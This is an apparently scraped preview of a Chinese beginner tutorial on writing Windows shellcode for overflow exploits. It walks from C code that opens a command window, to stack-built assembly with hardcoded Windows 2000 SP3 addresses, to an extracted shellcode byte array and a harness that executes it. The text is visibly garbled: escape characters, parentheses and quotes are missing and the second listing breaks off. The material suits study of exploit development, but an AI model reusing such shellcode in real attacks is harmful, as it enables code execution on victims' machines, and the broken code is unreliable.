編寫ShellCode入門教程_第1頁(yè)
編寫ShellCode入門教程_第2頁(yè)
編寫ShellCode入門教程_第3頁(yè)
編寫ShellCode入門教程_第4頁(yè)
編寫ShellCode入門教程_第5頁(yè)
已閱讀5頁(yè),還剩6頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、編寫ShellCode前置知識(shí):匯編閱讀能力,漏洞調(diào)試基本步驟,VC使用方法WTF:這幾次的菜鳥版EXP系列文章都是重點(diǎn)講解溢出編程的原理和思路,包括漏洞的定位,利用構(gòu)造以及遇到限制時(shí)ShellCode的編碼技巧等,但對(duì)ShellCode本身的編寫,特別是Windows環(huán)境下ShellCode的初步編寫,卻很少提及。在文章中都是說(shuō)發(fā)揚(yáng)“拿來(lái)主義”,看準(zhǔn)外面現(xiàn)成的ShellCode,直接拿來(lái)用,對(duì)不合規(guī)范的地方稍微改改就成其實(shí)我們是有策略的,試想一來(lái)就一大堆匯編,初學(xué)者不暈就懵,不被嚇跑才怪,所以前期重點(diǎn)放在激發(fā)大家的興趣上。但作為一個(gè)菜鳥,在興趣激起來(lái)后,畢竟要進(jìn)入到ShellCode的編寫中

2、。一是因?yàn)镋xploit很大的樂(lè)趣就在于ShellCode的編寫,二是明白了ShellCode的編寫,才能更好的使用和改進(jìn)外面的代碼。那,我們開始為了幫助初學(xué)者了解ShellCode的編寫,并能一步一步操作得到自己的ShellCode,因此將Windows下ShellCode的編寫過(guò)程作詳細(xì)的介紹,以利于像我一樣的菜鳥,最終能夠?qū)懗龊?jiǎn)單的但卻是真實(shí)的ShellCode;而進(jìn)一步高級(jí)的ShellCode的編寫,也會(huì)在系列后面的文章中一步一步的演示的,希望大家會(huì)發(fā)現(xiàn),Exp真好,ShellCode最美妙! ShellCode簡(jiǎn)介和編寫步驟從以前的文章和別人的攻擊代碼中可以知道,Shell

3、Code是以“xFFx3Ax45x72”的形式出現(xiàn)在程序中的,而Exploit的構(gòu)造就是想方設(shè)法地使計(jì)算機(jī)能轉(zhuǎn)到我們的ShellCode上來(lái),去執(zhí)行“xFFx3Ax45x72”由此看出,ShellCode才是Exploit攻擊的真正主宰(就如同獨(dú)行者是我們文章的主宰一樣)。而ShellCode的“xFFx3Ax45x72”那些值,其實(shí)是機(jī)器碼的形式,和一般程序在內(nèi)存里面存的東東是沒(méi)什么兩樣的,攻擊程序把內(nèi)存里面的數(shù)據(jù)動(dòng)態(tài)改成ShellCode的值,再跳過(guò)去執(zhí)行,就如同執(zhí)行一個(gè)在內(nèi)存中的一般程序一樣,只不過(guò)完成的是我們的功能,溢出攻擊就這樣實(shí)現(xiàn)了。在此可以下個(gè)定義:ShellCode就是一段程序

4、的機(jī)器碼形式,而ShellCode的編寫過(guò)程,就是得到我們想要程序的機(jī)器碼的過(guò)程。當(dāng)然ShellCode的特殊性和Windows下函數(shù)調(diào)用的特點(diǎn),決定了和一般的匯編程序有所不同。所以其編寫步驟應(yīng)該是,1構(gòu)想ShellCode的功能;2用C語(yǔ)言驗(yàn)證實(shí)現(xiàn);3根據(jù)C語(yǔ)言實(shí)現(xiàn),改成帶有ShellCode特點(diǎn)的匯編;4最后得到機(jī)器碼形式的ShellCode。其中最重要的是第三步改成有ShellCode特點(diǎn)的匯編,將在本文的后面講到。首先第一步是構(gòu)想ShellCode的功能。我們想要的功能可能是植入木馬,殺掉防火墻,倒流時(shí)光,發(fā)電磁波找外星人等等(WTF:咳),但最基本的功能,還是希望開一個(gè)DOS窗口,那

5、我們可以在DOS窗口中做很多事情,所以先介紹開DOS窗口ShellCode的寫法吧。  C語(yǔ)言代碼比如下面這個(gè)程序就可以完成開DOS窗口的功能,大家詳細(xì)看下注釋:#include <windows.h>#include <winbase.h> typedef void (*MYPROC(LPTSTR;    /定義函數(shù)指針int main(HINSTANCE LibHandle;MYPROC ProcAdd;LibHandle = LoadLibrary(“msvcrt.dll”;ProcAdd =

6、(MYPROC GetProcAddress(LibHandle, "System" /查找System函數(shù)地址(ProcAdd (""      /其實(shí)就是執(zhí)行System(“”return 0;其實(shí)執(zhí)行System(“”也可以完成開DOS窗口的功能,寫成這么復(fù)雜是有原因的,解釋一下該程序:首先Typedef void (*MYPROC(LPTSTR是定義一個(gè)函數(shù)指針類型,該類型的函數(shù)參數(shù)為是字符串,返回值為空。接著定義MYPROC ProcAdd,使ProcAdd為指向參數(shù)為是字符

7、串,返回值為空的函數(shù)指針;使用LoadLibrary(“msvcrt.dll”;裝載動(dòng)態(tài)鏈接庫(kù)msvcrt.dll;再使用ProcAdd = (MYPROC GetProcAddress(LibHandle, System獲得 System的真實(shí)地址并賦給ProcAdd,之后ProcAdd里存的就是System函數(shù)的地址,以后使用這個(gè)地址來(lái)調(diào)用System函數(shù);最后(ProcAdd (""就是調(diào)用System("",可以獲得一個(gè)DOS窗口。在窗口中我們可以執(zhí)行Dir,Copy等命令。如下圖1所示。   圖

8、1 獲得函數(shù)的地址程序中用GetProcAddress函數(shù)獲得System的真實(shí)地址,但地址究竟是多少,如何查看呢?在VC中,我們按F10進(jìn)入調(diào)試狀態(tài),然后在Debug工具欄中點(diǎn)最后一個(gè)按鈕Disassemble和第四個(gè)按鈕Registers,這樣出現(xiàn)了源程序的匯編代碼和寄存器狀態(tài)窗口,如圖2所示  圖2 繼續(xù)按F10執(zhí)行,直到到ProcAdd = (MYPROC GetProcAddress(LibHandle, "System"語(yǔ)句下的Cll dword ptr _imp_GetProcAddress8 (00424194執(zhí)行后,

9、EAX變?yōu)?801AFC3,說(shuō)明在我的機(jī)器上System( 函數(shù)的地址是0x7801AFC3。如圖3所示。  圖3WTF:注意本次測(cè)試中讀者的機(jī)器是Windows 2000 SP3,不同環(huán)境可能地址不同。為什么EAX就是System( 函數(shù)的地址呢?那是因?yàn)楹瘮?shù)執(zhí)行的返回值,在匯編下通常是放在EAX中的,這算是計(jì)算機(jī)系統(tǒng)的約定吧,所以GetProcAddress(”System”)的返回值(System函數(shù)的地址),就在EAX中,為0x7801AFC3。 Windows下函數(shù)的調(diào)用原理為什么要這么麻煩的得到System函數(shù)的地址呢?這是因?yàn)樵赪indows下,函數(shù)

10、的調(diào)用方法是先將參數(shù)從右到左壓入堆棧,然后Call該函數(shù)的地址。比如執(zhí)行函數(shù)Fun(argv1, argv2),先把參數(shù)從右到左壓入堆棧,這里就是依次把a(bǔ)rgv2,argv1壓入堆棧里,然后Call Fun函數(shù)的地址。這里的Call Fun函數(shù)地址,其實(shí)等于兩步,一是把保存當(dāng)前EIP,二是跳到Func函數(shù)的地址執(zhí)行,即Push  EIP Jmp Fun。其過(guò)程如下圖4所示。  圖4同理,我們要執(zhí)行System("":首先參數(shù)入棧,這里只有一個(gè)參數(shù),所以就把C的地址壓入堆棧,注意是C字符串的地址;然后Call System函數(shù)

11、的地址,就完成了執(zhí)行。如圖5所示。  圖5 構(gòu)造有ShellCode特點(diǎn)的匯編明白了Windows函數(shù)的執(zhí)行原理,我們要執(zhí)行System(“Command.exe”,就要先把Command.exe字符串的地址入棧,但Command.exe字符串在哪兒呢??jī)?nèi)存中可能沒(méi)有,但我們可以自己構(gòu)造!我們把Command.exe一個(gè)字符一個(gè)字符的賦給堆棧,這樣Command.exe字符串就有了,而棧頂?shù)闹羔楨SP正好是Command.exe字符串的地址,我們Push esp,就完成了參數(shù)Command.exe字符串的地址入棧。如下圖6所示。   

12、圖6  參數(shù)入棧了,然后該Call System函數(shù)的地址。剛才已經(jīng)看到,在Windows 2000 SP3上,System函數(shù)的地址為0x7801AFC3,所以Call 0x7801AFC3就行了。把思路合起來(lái),可以寫出執(zhí)行System(“Command.exe”的帶有ShellCode特點(diǎn)的匯編代碼如下。mov esp,ebp ;              push ebp ;    

13、0;        mov ebp,esp ;               把當(dāng)前esp賦給ebpxor edi,edi ;            push edi ;壓入0,esp4,;   作用是構(gòu)造字符串的結(jié)尾0字

14、符。            sub esp,08h ;加上上面,一共有12個(gè)字節(jié),;用來(lái)放""。            mov byte ptr ebp-0ch,63h ;  c            

15、;mov byte ptr ebp-0bh,6fh ;  o            mov byte ptr ebp-0ah,6dh ;  m            mov byte ptr ebp-09h,6Dh ;  m      &#

16、160;     mov byte ptr ebp-08h,61h ;  a            mov byte ptr ebp-07h,6eh ;  n            mov byte ptr ebp-06h,64h ;  d 

17、;           mov byte ptr ebp-05h,2Eh ;  .            mov byte ptr ebp-04h,63h ;  c            mov byte pt

18、r ebp-03h,6fh ;  o            mov byte ptr ebp-02h,6dh ;  m一個(gè)一個(gè)生成串"".            lea eax,ebp-0ch ;        

19、0;           push eax ;              串地址作為參數(shù)入棧            mov eax, 0x7801AFC3 ;      

20、      call eax ;                  call System函數(shù)的地址 明白了原理再看實(shí)現(xiàn),是不是清楚了很多呢? 提取ShellCode首先來(lái)驗(yàn)證一下,在VC中可以用_asm關(guān)鍵字插入?yún)R編,我們把System(“Command.exe”用我們寫的匯編替換,LoadLibrary先不動(dòng),然后執(zhí)行,成功!彈出了我

21、們想要的DOS窗口。如下圖7所示。  圖7同樣的道理,LoadLibrary(“msvcrt.dll”也仿照上面改成匯編,注意LoadLibrary在Windows 2000 SP3上的地址為0x77e69f64。把兩段匯編合起來(lái),將其編譯、鏈接、執(zhí)行,也成功了!如下圖8所示。     圖8有了上面的工作,提取ShellCode就只剩下體力活了。我們對(duì)剛才的全匯編的程序,按F10進(jìn)入調(diào)試,接著按下Debug工具欄的Disassembly按鈕,點(diǎn)右鍵,在彈出菜單中選中Code Bytes,就出現(xiàn)匯編對(duì)應(yīng)的機(jī)器碼。因?yàn)閰R編可以完

22、全完成我們的功能,所以我們把匯編對(duì)應(yīng)的機(jī)器碼原封不動(dòng)抄下來(lái),就得到我們想要的ShellCode了。提取出來(lái)的ShellCode如下。unsigned char shellcode ="x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53""xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6""x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBA""x64x9fxE6x77"&#

23、160;     /sp3 loadlibrary地址0x77e69f64"x52x8Dx45xF4x50" "xFFx55xF0""x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2E""x89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55xFFx8Dx45xF4""x50xB8""xc3xafx01x78"

24、0;     /sp3 System地址0x7801afc3"xFFxD0" 驗(yàn)證ShellCode最后要驗(yàn)證提取出來(lái)的ShellCode能否完成我們的功能。在以前的文章中已經(jīng)說(shuō)過(guò)方法,只需要新建一個(gè)工程和c源文件,然后把ShellCode部分拷下來(lái),存為一個(gè)數(shù)組,最后在main中添上( (void(*(void &shellcode (,如下:unsigned char shellcode ="x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53""xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x5

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論